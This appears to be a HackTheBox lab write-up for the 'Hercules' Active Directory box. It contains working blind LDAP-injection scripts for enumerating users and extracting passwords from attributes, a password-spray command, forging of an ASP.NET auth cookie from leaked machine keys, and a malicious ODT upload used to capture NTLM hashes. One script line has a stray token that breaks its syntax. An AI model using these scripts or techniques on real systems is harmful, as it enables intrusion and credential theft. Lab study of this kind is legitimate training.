File Nº 0x6D / Subject: m0rgxn
Local --:--:--
← All writeupsCase 07 · Filed 27 Feb 2026 · HackTheBox · 12 min read

Hercules

Rooted

Complex AD box with web, LDAP, and Kerberos attacks


Evidence photo — case 07
This machine was really complex as it required deep knowledge in a lot of fields such as: Advanced and very Specific web exploitation techniques, exploitation of .NET application, DACL abuse, SPN-less Resource Based Delegation attacks, ADCS abuse, deep Active Directory enumeration and a lot of custom scripting. We are given the IP of a domain controller within Active Directory that had a web application running, directory/file fuzzing revealed a login form that was using SSO synced with the Active Directory database, I identified blind LDAP injection that lead to getting a domain user list through brute force, and using that same foothold we can also bruteforce attributes in the user object which revealed a password in the description of a user, password spray lead to valid credentials to the Web App and the domain, found a file read vulnerability in a file download utility in the web app and read web.config which leaked machine keys, privilege escalation in the web app, unlocked a file upload utility that accepted odt file format, uploaded a weaponized odt file that allowed for NTLMv2 hash capture due to using outdated libroffice version , cracked the hash and ran bloodhound to find out that the user we captured had GenericWrite over a bunch of users, shadow credentials attack on all the users and DACL enumeration leads to finding an overprivileged user, that allowed me to add the user auditor that can WINRM to the box in the OU that the user who's hash we captured can perform shadow credentials attack, and at that point got a shell on the box and the user flag. I won't spoil all the machine for you. Enjoy this beautiful machine and I hope you like the writeup!
Bash
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.129.242.196/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-07 11:59:08Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Not valid before: 2024-12-04T01:34:52
|_Not valid after:  2034-12-02T01:34:52
|_ssl-date: TLS randomness does not represent time
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-title: Hercules Corp
| http-methods: 
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=hercules.htb
| Subject Alternative Name: DNS:hercules.htb
| Not valid before: 2024-12-04T01:34:56
|_Not valid after:  2034-12-04T01:44:56
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Not valid before: 2024-12-04T01:34:52
|_Not valid after:  2034-12-02T01:34:52
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Not valid before: 2024-12-04T01:34:52
|_Not valid after:  2034-12-02T01:34:52
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Not valid before: 2024-12-04T01:34:52
|_Not valid after:  2034-12-02T01:34:52
|_ssl-date: TLS randomness does not represent time
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Not valid before: 2024-12-04T01:34:52
|_Not valid after:  2034-12-02T01:34:52
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn: 
|_  http/1.1
|_http-title: Not Found
|_ssl-date: TLS randomness does not represent time
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
52779/tcp open  msrpc         Microsoft Windows RPC
53918/tcp open  msrpc         Microsoft Windows RPC
62653/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
62661/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2016 (85%)
OS CPE: cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

The server appeared to be running ASP.NET on an IIS webserver.
I managed to fuzz a login portal, and looked through the HTML content of the page. There was a regex filter on the HTML code that was sanatizing the user input and preventing LDAP injection, I tried to remove the attribute and try to inject but no help, so there must have been a filter on the server side that was preventing that as well.
Here is the HTML code that stood up in recon:
Html
<input class="form-control" data-val="true" data-val-regex="Invalid Username" data-val-regex-pattern="^[^!&quot;#&amp;&#39;()*+,\:;&lt;=>?[\]^`{\|}~]+$" data-val-required="The Username field is required." id="Username" name="Username" type="text" value="" />

Here is the exact filter in place after decoding:
Html
^[^!"#&'()*+,\:;<=>?[\]^`{\|}~]+$
After playing with the request for a while and trying different LDAP injection techniques,in burp and getting, I got this one error that seemed interesting. The username in the screenshot below is just a* double-URL encoded.
However, there is a CRSF token in place which is __RequestVerificationToken it's the default Anti-CSRF protection built into Microsoft's ASP.NET framework. This would make scripting a little harder since we have to fetch a new token every time we make a request(Ideally).
I ran kerbrute in the background to see if I can get some valid usernames as soon as i started the box, here is what I got:
Bash
[Feb 18, 2026 - 19:02:49 (CET)] exegol-D3xt3R hercules # kerbrute userenum --dc 10.129.242.196 -d hercules.htb  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt 

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 02/18/26 - Ronnie Flathers @ropnop

2026/02/18 19:02:52 >  Using KDC(s):
2026/02/18 19:02:52 >  	10.129.242.196:88

2026/02/18 19:02:52 >  [+] VALID USERNAME:	 admin@hercules.htb
2026/02/18 19:03:46 >  [+] VALID USERNAME:	 administrator@hercules.htb
2026/02/18 19:03:52 >  [+] VALID USERNAME:	 Admin@hercules.htb
2026/02/18 19:10:07 >  [+] VALID USERNAME:	 Administrator@hercules.htb
2026/02/18 19:17:19 >  [+] VALID USERNAME:	 auditor@hercules.htb
2026/02/18 19:38:51 >  [+] VALID USERNAME:	 ADMIN@hercules.htb

I also leveraged the LDAP injection that was identified in the username field of the login page to get valid users, here is the script that I used:
Python
import httpx
from bs4 import BeautifulSoup
import asyncio
import string
import sys
import warnings

warnings.filterwarnings("ignore")

# --- CONFIGURATION ---
TARGET_URL = "https://hercules.htb/login"
ERROR_MESSAGE = "Login attempt failed"
DUMMY_PASSWORD = "Password123!"
CHARSET = string.ascii_lowercase + "."
MAX_CONCURRENCY = 5

async def check_target(semaphore, payload, is_exact_match=False):
    clean_name = payload.replace('%2A', '*')

    async with semaphore:
        async with httpx.AsyncClient(verify=False, timeout=10.0) as client:
            for attempt in range(1, 4):
                # STANDARD PRINT: No \r tricks. We want a persistent, scrolling log.
                print(f"[*] Testing: {clean_name:<15} (Attempt {attempt}/3)")

                try:
                    r_get = await client.get(TARGET_URL)
                    soup = BeautifulSoup(r_get.text, 'html.parser')
                    token_field = soup.find('input', {'name': '__RequestVerificationToken'})

                    if not token_field:
                        print(f"[!] Token missing for {clean_name}! HTTP Status: {r_get.status_code}")
                        await asyncio.sleep(1)
                        continue

                    data = {
                        "Username": payload,
                        "Password": DUMMY_PASSWORD,
                        "__RequestVerificationToken": token_field['value']
                    }

                    r_post = await client.post(TARGET_URL, data=data)

                    if ERROR_MESSAGE in r_post.text:
                        print(f"[+] {clean_name} triggered the error message! (Valid Prefix)")
                        return True, payload, is_exact_match
                    return False, payload, is_exact_match

                except Exception as e:
                    print(f"[!] Network error on {clean_name}: {type(e).__name__}")
                    await asyncio.sleep(1)

        return False, payload, is_exact_match

async def enumerate_users():
    print("---------------------------------------------------")
    print("[*] PRE-FLIGHT CHECK: Pinging hercules.htb...")
    try:
        # Test the connection with a fast 5-second timeout
        async with httpx.AsyncClient(verify=False, timeout=5.0) as client:
            resp = await client.get(TARGET_URL)
            print(f"[+] SUCCESS! Target is alive and returned HTTP {resp.status_code}")
    except Exception as e:
        print(f"\n[!!!] PRE-FLIGHT FAILED [!!!]")
        print(f"The script cannot reach {TARGET_URL}.")
        print(f"Error: {type(e).__name__}")
        print("Check your HTB VPN connection and /etc/hosts file!")
        print("---------------------------------------------------")
        return
    print("---------------------------------------------------\n")

    semaphore = asyncio.Semaphore(MAX_CONCURRENCY)
    valid_users = []
    prefixes_to_test = [""]

    print("[*] Starting LDAP Enumeration...\n")

    while prefixes_to_test:
        current_prefix = prefixes_to_test.pop(0)
        print(f"\n[>] Expanding prefix: '{current_prefix}*'")

        tasks = []
        for char in CHARSET:
            wildcard_payload = f"{current_prefix}{char}%2A"
            tasks.append(check_target(semaphore, wildcard_payload, is_exact_match=False))

        valid_next_prefixes = []

        for task in asyncio.as_completed(tasks):
            is_valid, payload, _ = await task
            if is_valid:
                clean_val = payload.replace("%2A", "")
                valid_next_prefixes.append(clean_val)

        if valid_next_prefixes:
            print(f"\n[>] Found valid prefixes: {valid_next_prefixes}. Checking exact matches...")
            exact_tasks = [check_target(semaphore, prefix, is_exact_match=True) for prefix in valid_next_prefixes]

            for task in asyncio.as_completed(exact_tasks):
                is_valid, payload, _ = await task
                if is_valid:
                    print(f"\n[!!!] EXACT MATCH FOUND: {payload} [!!!]\n")
                    valid_users.append(payload)

                prefixes_to_test.append(payload)

    print("\n\n--- ENUMERATION COMPLETE ---")
    print(f"Discovered Users: {valid_users}")
    with open("users.txt", "w") as f:
        for u in valid_users:
            f.write(u + "\n")

if __name__ == "__main__":
    asyncio.run(enumerate_users())

Here is the final user list:
admin
administrator
ken.w
bob.w
tish.c
will.s
rene.s
nate.h
zeke.s
mark.s
shae.j
joel.c
tanya.r
winda.s
auditor
fiona.c
james.s
jacob.b
taylor.m
elijah.m
ramona.l
angelo.o
ashley.b
harris.d
vincent.g
adriana.i
anthony.r
natalie.a
heather.s
patrick.s
mikayla.a
stephen.m
camilla.b
johanna.f
jessica.e
fernando.r
clarissa.c
jennifer.a
stephanie.w
johnathan.j

We can test the validity of the users that we found with kerbrute to make sure that everything is working correctly. I didn't find asreproastable users from the list that we extracted. I got back to the login page, since it's the only thing that we have for the moment, and I could query LDAP from the username, I though I can extract some users' descriptions and hope I can find passwords stored in there. I kept the same logic, double URL-encoded username and regex filter bypass worked.
Scripting this was more of a pain in the ass than the last script, but I managed to get it working after a lot of debugging. The thing that annoyed me a little and the one that took me a while to identify was that the password that I was building for user johnathan.j had the LDAP wildcard character * and if not encoded it will be interpreted as one by LDAP and we wouldn't get valid results. So to fix this I added static mapping to the special characters that the script uses before URL encoding the payload. Another thing that I was afraid of was capital casing since I querying LDAP was case insensitive, but it worked out eventually. Here is the script:
Python
import httpx
from bs4 import BeautifulSoup
import asyncio
import string
from datetime import datetime

TARGET_URL = "https://hercules.htb/login"
SUCCESS_INDICATOR = "login attempt failed"
USERS_FILE = "users.txt"
ATTRIBUTE = "description"
MAX_LENGTH = 150

class MultiUserLDAPScanner:
    def __init__(self):
        self.charset = (
            string.ascii_lowercase +
            string.ascii_uppercase +
            string.digits +
            " !\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~"
        )
        self.request_count = 0
        
        # LDAP escape sequences
        self.LDAP_ESCAPE_MAP = {
            '*': '\\2a',
            '(': '\\28',
            ')': '\\29',
            '\\': '\\5c',
            '/': '\\2f',
            '\x00': '\\00'Home.aspx
        }
        
        # Double URL encoding map
        self.DOUBLE_ENCODE_MAP = {
            ' ': '%2520', '!': '%2521', '"': '%2522', '#': '%2523',
            '$': '%2524', '%': '%2525', '&': '%2526', "'": '%2527',
            '+': '%252B', ',': '%252C', '-': '%252D', '.': '%252E',
            ':': '%253A', ';': '%253B', '<': '%253C', '=': '%253D',
            '>': '%253E', '?': '%253F', '@': '%2540', '[': '%255B',
            '\\': '%255C', ']': '%255D', '^': '%255E', '_': '%255F',
            '`': '%2560', '{': '%257B', '|': '%257C', '}': '%257D',
            '~': '%257E',
            '0': '0', '1': '1', '2': '2', '3': '3', '4': '4',
            '5': '5', '6': '6', '7': '7', '8': '8', '9': '9',
            'a': 'a', 'b': 'b', 'c': 'c', 'd': 'd', 'e': 'e',
            'f': 'f', 'g': 'g', 'h': 'h', 'i': 'i', 'j': 'j',
            'k': 'k', 'l': 'l', 'm': 'm', 'n': 'n', 'o': 'o',
            'p': 'p', 'q': 'q', 'r': 'r', 's': 's', 't': 't',
            'u': 'u', 'v': 'v', 'w': 'w', 'x': 'x', 'y': 'y', 'z': 'z',
            'A': 'A', 'B': 'B', 'C': 'C', 'D': 'D', 'E': 'E',
            'F': 'F', 'G': 'G', 'H': 'H', 'I': 'I', 'J': 'J',
            'K': 'K', 'L': 'L', 'M': 'M', 'N': 'N', 'O': 'O',
            'P': 'P', 'Q': 'Q', 'R': 'R', 'S': 'S', 'T': 'T',
            'U': 'U', 'V': 'V', 'W': 'W', 'X': 'X', 'Y': 'Y', 'Z': 'Z',
        }
    
    def encode_for_ldap_and_url(self, text):
        """
        Two-stage encoding:
        1. LDAP escape special chars
        2. Double URL encode
        """
        parts = []
        
        for char in text:
            if char in self.LDAP_ESCAPE_MAP:
                ldap_escaped = self.LDAP_ESCAPE_MAP[char]
                for escape_char in ldap_escaped:
                    if escape_char == '\\':
                        parts.append('%255C')
                    else:
                        parts.append(escape_char)
            else:
                parts.append(self.DOUBLE_ENCODE_MAP.get(char, char))
        
        return ''.join(parts)
    
    def build_payload(self, username, attribute, value, use_wildcard=True):
        """Build LDAP injection payload"""
        encoded_value = self.encode_for_ldap_and_url(value)
        
        if use_wildcard:
            return f"{username}%252A%2529%2528{attribute}%253D{encoded_value}%252A"
        else:
            return f"{username}%252A%2529%2528{attribute}%253D{encoded_value}"
    
    async def test_injection(self, username, attribute, value, use_wildcard=True):
        """Test a single LDAP injection payload"""
        async with httpx.AsyncClient(verify=False, timeout=30.0, follow_redirects=False) as client:
            try:
                r_get = await client.get(TARGET_URL)
                soup = BeautifulSoup(r_get.text, 'html.parser')
                token_field = soup.find('input', {'name': '__RequestVerificationToken'})
                
                if not token_field:
                    return None
                
                token = token_field['value']
                username_payload = self.build_payload(username, attribute, value, use_wildcard)
                
                from urllib.parse import quote
                post_body = (
                    f"__RequestVerificationToken={quote(token, safe='')}"
                    f"&Username={username_payload}"
                    f"&Password=test123"
                    f"&RememberMe=false"
                )
                
                headers = {'Content-Type': 'application/x-www-form-urlencoded'}
                r_post = await client.post(TARGET_URL, content=post_body, headers=headers)
                self.request_count += 1
                
                response_lower = r_post.text.lower()
                
                if SUCCESS_INDICATOR in response_lower:
                    return True
                elif "invalid username" in response_lower:
                    return False
                else:
                    return None
                    
            except:
                return None
    
    async def check_attribute_exists(self, username, attribute):
        """
        Quick check if user has the specified attribute with any value
        Tests: username*)(attribute=*
        """
        result = await self.test_injection(username, attribute, "", use_wildcard=True)
        return result is True
    
    async def scan_users_for_attribute(self, users, attribute):
        """
        Phase 1: Scan all users to find which ones have the attribute
        """
        print(f"\n{'═'*70}")
        print(f"║ PHASE 1: SCANNING USERS FOR '{attribute}' ATTRIBUTE")
        print(f"{'═'*70}")
        print(f"║ Total users to scan: {len(users)}")
        print(f"║ Attribute: {attribute}")
        print(f"{'═'*70}\n")
        
        users_with_attribute = []
        
        for i, user in enumerate(users, 1):
            print(f"[{i:3d}/{len(users):3d}] Checking {user:<20}... ", end='', flush=True)
            
            has_attr = await self.check_attribute_exists(user, attribute)
            
            if has_attr:
                print(f"✅ HAS {attribute}")
                users_with_attribute.append(user)
            else:
                print(f"❌ No {attribute}")
            
            await asyncio.sleep(1.0)  # Rate limiting
        
        print(f"\n{'═'*70}")
        print(f"║ SCAN COMPLETE")
        print(f"{'═'*70}")
        print(f"║ Users with {attribute}: {len(users_with_attribute)}/{len(users)}")
        print(f"{'═'*70}\n")
        
        if users_with_attribute:
            print(f"Users with {attribute}:")
            for user in users_with_attribute:
                print(f"  • {user}")
            print()
        
        return users_with_attribute
    
    async def extract_attribute_value(self, username, attribute, known_prefix=""):
        """
        Phase 2: Extract complete attribute value for a single user
        """
        print(f"\n{'═'*70}")
        print(f"║ EXTRACTING: {username}.{attribute}")
        print(f"{'═'*70}")
        
        if known_prefix:
            print(f"║ Starting from: '{known_prefix}'")
        
        print(f"{'═'*70}\n")
        
        discovered = known_prefix
        
        for position in range(len(known_prefix), MAX_LENGTH):
            found = False
            
            print(f"[Pos {position + 1:3d}] Current: '{discovered}'")
            
            for i, char in enumerate(self.charset, 1):
                # Format display
                if char == ' ':
                    display = '<SP>'
                elif char in self.LDAP_ESCAPE_MAP:
                    display = f'{char}(LDAP)'
                else:
                    display = char
                
                # Use \r to overwrite same line for compactness
                print(f"  [{i:3d}/{len(self.charset):3d}] '{display}'", end='   \r', flush=True)
                
                test_value = discovered + char
                result = await self.test_injection(username, attribute, test_value, use_wildcard=True)
                
                if result is True:
                    discovered = test_value
                    # Clear the line and show match
                    print(f"  [{i:3d}/{len(self.charset):3d}] '{display}' ✅ MATCH!                    ")
                    found = True
                    break
                elif result is None:
                    # Retry on error
                    await asyncio.sleep(2)
                    result = await self.test_injection(username, attribute, test_value, use_wildcard=True)
                    if result is True:
                        discovered = test_value
                        print(f"  [{i:3d}/{len(self.charset):3d}] '{display}' ✅ MATCH! (retry)           ")
                        found = True
                        break
                
                await asyncio.sleep(0.8)
            
            if not found:
                # Clear the testing line
                print(" " * 70, end='\r')
                print(f"  [---] No more characters found")
                
                # Check if extraction is complete
                result = await self.test_injection(username, attribute, discovered, use_wildcard=False)
                
                if result is True:
                    print(f"\n{'─'*70}")
                    print(f"✅ COMPLETE: '{discovered}'")
                    print(f"   Length: {len(discovered)} chars")
                    print(f"{'─'*70}\n")
                    return discovered
                else:
                    print(f"\n{'─'*70}")
                    print(f"⚠️  PARTIAL: '{discovered}'")
                    print(f"{'─'*70}\n")
                    return discovered
            
            await asyncio.sleep(0.5)
        
        print(f"\n[!] Max length reached: '{discovered}'")
        return discovered
    
    async def extract_all_users(self, users_with_attribute, attribute):
        """
        Phase 2: Extract attribute values for all users that have it
        """
        print(f"\n{'═'*70}")
        print(f"║ PHASE 2: EXTRACTING {attribute.upper()} VALUES")
        print(f"{'═'*70}")
        print(f"║ Users to extract: {len(users_with_attribute)}")
        print(f"{'═'*70}\n")
        
        results = {}
        
        for i, user in enumerate(users_with_attribute, 1):
            print(f"\n{'▼'*70}")
            print(f"▼ [{i}/{len(users_with_attribute)}] USER: {user}")
            print(f"{'▼'*70}")
            
            value = await self.extract_attribute_value(user, attribute)
            
            if value:
                results[user] = value
                
                # Save incrementally
                with open("ldap_descriptions_incremental.txt", "a") as f:
                    f.write(f"{user}:{attribute}:{value}\n")
                
                # Check for credentials
                if any(kw in value.lower() for kw in ['pass', 'pwd', 'cred', 'key', 'temp', 'secret']):
                    print(f"\n{'🔥'*70}")
                    print(f"🔥 POTENTIAL CREDENTIAL DETECTED!")
                    print(f"🔥 User: {user}")
                    print(f"🔥 Value: '{value}'")
                    print(f"{'🔥'*70}\n")
            
            # Delay between users
            if i < len(users_with_attribute):
                print(f"\n[*] Waiting 3 seconds before next user...")
                await asyncio.sleep(3)
        
        return results

async def main():
    print(f"\n{'#'*70}")
    print(f"#")
    print(f"#  MULTI-USER LDAP ATTRIBUTE SCANNER")
    print(f"#  With LDAP Special Character Escaping")
    print(f"#")
    print(f"{'#'*70}\n")
    
    # Load users
    try:
        with open(USERS_FILE, "r") as f:
            users = [line.strip() for line in f if line.strip()]
        
        print(f"[✓] Loaded {len(users)} users from {USERS_FILE}")
    except FileNotFoundError:
        print(f"[!] Error: {USERS_FILE} not found!")
        print(f"[!] Please create this file with one username per line")
        return
    
    if not users:
        print(f"[!] No users found in {USERS_FILE}")
        return
    
    scanner = MultiUserLDAPScanner()
    
    print(f"\n{'─'*70}")
    print(f"Configuration:")
    print(f"  • Target URL    : {TARGET_URL}")
    print(f"  • Users loaded  : {len(users)}")
    print(f"  • Attribute     : {ATTRIBUTE}")
    print(f"  • Max length    : {MAX_LENGTH}")
    print(f"  • Charset size  : {len(scanner.charset)} chars")
    print(f"{'─'*70}\n")
    
    print(f"[INFO] LDAP Special Characters:")
    print(f"  • * → \\2a (literal asterisk)")
    print(f"  • ( → \\28, ) → \\29 (literal parentheses)")
    print(f"  • \\ → \\5c (literal backslash)")
    print(f"  • / → \\2f (literal slash)")
    print(f"\n[INFO] All payloads are double-URL-encoded\n")
    
    print(f"{'─'*70}")
    print(f"Press ENTER to start scanning (Ctrl+C to cancel)")
    print(f"{'─'*70}\n")
    
    try:
        input()
    except KeyboardInterrupt:
        print("\n[!] Cancelled\n")
        return
    
    start_time = datetime.now()
    
    # PHASE 1: Scan all users for the attribute
    users_with_attribute = await scanner.scan_users_for_attribute(users, ATTRIBUTE)
    
    if not users_with_attribute:
        print(f"\n[!] No users found with '{ATTRIBUTE}' attribute")
        print(f"[*] Total requests: {scanner.request_count}")
        return
    
    # Ask user if they want to extract all
    print(f"\n{'─'*70}")
    print(f"Found {len(users_with_attribute)} user(s) with {ATTRIBUTE}")
    print(f"{'─'*70}")
    print(f"\nOptions:")
    print(f"  1. Extract ALL users (may take a while)")
    print(f"  2. Extract specific user")
    print(f"  3. Save list and exit")
    print(f"\nChoice (1/2/3): ", end='')
    
    try:
        choice = input().strip()
    except KeyboardInterrupt:
        print("\n[!] Cancelled\n")
        return
    
    if choice == '1':
        # Extract all users
        results = await scanner.extract_all_users(users_with_attribute, ATTRIBUTE)
        
    elif choice == '2':
        # Extract specific user
        print(f"\nAvailable users:")
        for i, user in enumerate(users_with_attribute, 1):
            print(f"  {i}. {user}")
        
        print(f"\nEnter number (1-{len(users_with_attribute)}): ", end='')
        try:
            idx = int(input().strip()) - 1
            if 0 <= idx < len(users_with_attribute):
                target_user = users_with_attribute[idx]
                value = await scanner.extract_attribute_value(target_user, ATTRIBUTE)
                results = {target_user: value} if value else {}
            else:
                print(f"[!] Invalid selection")
                return
        except (ValueError, KeyboardInterrupt):
            print("\n[!] Cancelled\n")
            return
    
    elif choice == '3':
        # Save list and exit
        filename = f"users_with_{ATTRIBUTE}.txt"
        with open(filename, "w") as f:
            for user in users_with_attribute:
                f.write(f"{user}\n")
        print(f"\n[✓] Saved to {filename}")
        return
    
    else:
        print(f"[!] Invalid choice")
        return
    
    # Final summary
    end_time = datetime.now()
    duration = (end_time - start_time).total_seconds()
    
    print(f"\n{'═'*70}")
    print(f"║ EXTRACTION COMPLETE")
    print(f"{'═'*70}")
    print(f"║ Total users scanned    : {len(users)}")
    print(f"║ Users with {ATTRIBUTE:<10}: {len(users_with_attribute)}")
    print(f"║ Successfully extracted : {len(results)}")
    print(f"║ Total requests         : {scanner.request_count}")
    print(f"║ Duration               : {duration:.1f} seconds")
    print(f"{'═'*70}\n")
    
    if results:
        # Save final results
        timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
        filename = f"ldap_descriptions_{timestamp}.txt"
        
        with open(filename, "w") as f:
            f.write(f"{'='*70}\n")
            f.write(f"LDAP ATTRIBUTE EXTRACTION RESULTS\n")
            f.write(f"{'='*70}\n\n")
            f.write(f"Target      : {TARGET_URL}\n")
            f.write(f"Attribute   : {ATTRIBUTE}\n")
            f.write(f"Extracted   : {len(results)} users\n")
            f.write(f"Timestamp   : {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n")
            f.write(f"Total Requests: {scanner.request_count}\n")
            f.write(f"\n{'='*70}\n\n")
            
            for user, value in results.items():
                f.write(f"User: {user}\n")
                f.write(f"{ATTRIBUTE}: {value}\n")
                f.write(f"{'-'*70}\n\n")
        
        print(f"[✓] Results saved to: {filename}")
        print(f"\nExtracted values:")
        print(f"{'─'*70}")
        
        for user, value in results.items():
            print(f"{user:<20} : {value}")
        
        print(f"{'─'*70}\n")
        
        # Credential analysis
        cred_keywords = ['pass', 'password', 'pwd', 'credential', 'cred', 'key', 'secret', 'temp', 'default']
        potential_creds = {}
        
        for user, value in results.items():
            value_lower = value.lower()
            found_kw = [kw for kw in cred_keywords if kw in value_lower]
            if found_kw:
                potential_creds[user] = (value, found_kw)
        
        if potential_creds:
            print(f"{'🔥'*70}")
            print(f"🔥 POTENTIAL CREDENTIALS DETECTED!")
            print(f"{'🔥'*70}\n")
            
            for user, (value, keywords) in potential_creds.items():
                print(f"User: {user}")
                print(f"Keywords: {', '.join(keywords)}")
                print(f"Value: '{value}'")
                print(f"{'-'*70}")
            
            print(f"\n{'🔥'*70}\n")

if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\n\n[!] Interrupted by user\n")
    except Exception as e:
        print(f"\n[!] Fatal error: {type(e).__name__}: {e}\n")
This description appears to be a temporary password kept in the user object, we would test it next against the user list that we gathered with LDAP injection
change*th1s_p@ssw()rd!!
I immediately synced the time for kerberos since NTLM authenticated was disabled on this box, and generated a kerberos config file with netexec and sprayed the password on the users list that we gathered. I got a hit back:
Bash
eb 19, 2026 - 14:35:20 (CET)] exegol-D3xt3R hercules # nxc smb 10.129.1.181 -u users.txt  -p 'change*th1s_p@ssw()rd!!' -k --continue-on-success
SMB         10.129.1.181    445    dc               [*]  x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.129.1.181    445    dc               [-] hercules.htb\admin:change*th1s_p@ssw()rd!! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.1.181    445    dc               [-] hercules.htb\administrator:change*th1s_p@ssw()rd!! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.1.181    445    dc               [+] hercules.htb\ken.w:change*th1s_p@ssw()rd!! 
SMB         10.129.1.181    445    dc               [-] hercules.htb\bob.w:change*th1s_p@ssw()rd!! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.1.181    445    dc               [-] hercules.htb\tish.c:change*th1s_p@ssw()rd!! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.1.181    445    dc               [-] hercules.htb\will.s:change*th1s_p@ssw()rd!! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.1.181    445    dc               [-] hercules.htb\rene.s:change*th1s_p@ssw()rd!! KDC_ERR_PREAUTH_FAILED 
SMB         10.129.1.181    445    dc               [-] hercules.htb\nate.h:change*th1s_p@ssw()rd!! KDC_ERR_PREAUTH_FAILED 
...

We can say now that we have valid credentials in the domain.
ken.w:change*th1s_p@ssw()rd!!
I tried to enumerate SMB, but the user wasn't able to access it, not even list the shares. I also ran bloodhound at this point and same thing. I logged into the website with the credentials and looked through some mails that stood up.
While exploring the download functionality which is meant to download template pdf files for employees to fill out, I managed to get file read.
I thought with the leaked machine code we can get remote code execution on the box. But deeper enumeration revealed that it wasn't possible. The web application ran pure ASP.NET MVC most probably and it didn't use the VIEWSTATE plugin that we can exploit with deserialization attack to get a reverse shell. I managed to break the authentication of the application and I used this github repo, https://github.com/liquidsec/aspnetCryptTools. I ran the project in my Windows VM with visual studio and generated two binaries for decryption and encryption of session cookies. This is the decrypted session cookie of the user ken.w
I then tried to forge a session cookie for the user web_admin. I changed up the code from the repo a little since it had some syntax problems, nothing too serious though. The code for the Decryptor code was working correctly but the Encryptor had some issues. Here is my version of the Encryptor.
Csharp
using System;
using System.Web.Security;

namespace CookieEncryptor
{
    class Program
    {
        static void Main(string[] args)
        {
            // 1. The username we want to impersonate
            string targetUser = "web_admin";
            Console.WriteLine("[*] Generating forged ticket for: " + targetUser);

            // 2. Build a brand new ticket from scratch
            FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(
                1,                              // Version
                targetUser,                     // The username we want to forge
                DateTime.Now,                   // Issue Date
                DateTime.Now.AddMinutes(120),   // Expiration (2 hours from now)
                true,                           // IsPersistent
                "Web Administrators",           
                "/"                             // Cookie Path
            );

            // 3. Encrypt it using the keys in your App.config
            string encTicket = FormsAuthentication.Encrypt(ticket);

            Console.WriteLine("\n[+] FORGED .ASPXAUTH COOKIE:");
            Console.WriteLine(encTicket);
            Console.ReadLine(); // Keeps the console window open
        }
    }
}
Here is the forged cookie.
I logged into the web application using cookie and as we can see we have privilege escalated to web_admin successfully.
I tried to look at the file upload functionality that was not enabled for the last user.
The web_admin user seem to be have the file upload enabled for his account, I tried to brute force the file extensions accepted by the application and it turned out to be .odt Open Document Text, which means that we can weaponize a file to force NTLM authentication back to us. I found this blog that explained the attack chain quite well: https://secureyourit.co.uk/wp/2018/05/01/creating-malicious-odt-files/ && https://github.com/rmdavy/badodf/ This tool works against old LibreOffice version as it's rather an old CVE, but it's worth a try. And as suspected, after uploading the file, we wait a little since we need the victim to open the report and bang!
Bash
[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.2.43
[SMB] NTLMv2-SSP Username : HERCULES\natalie.a
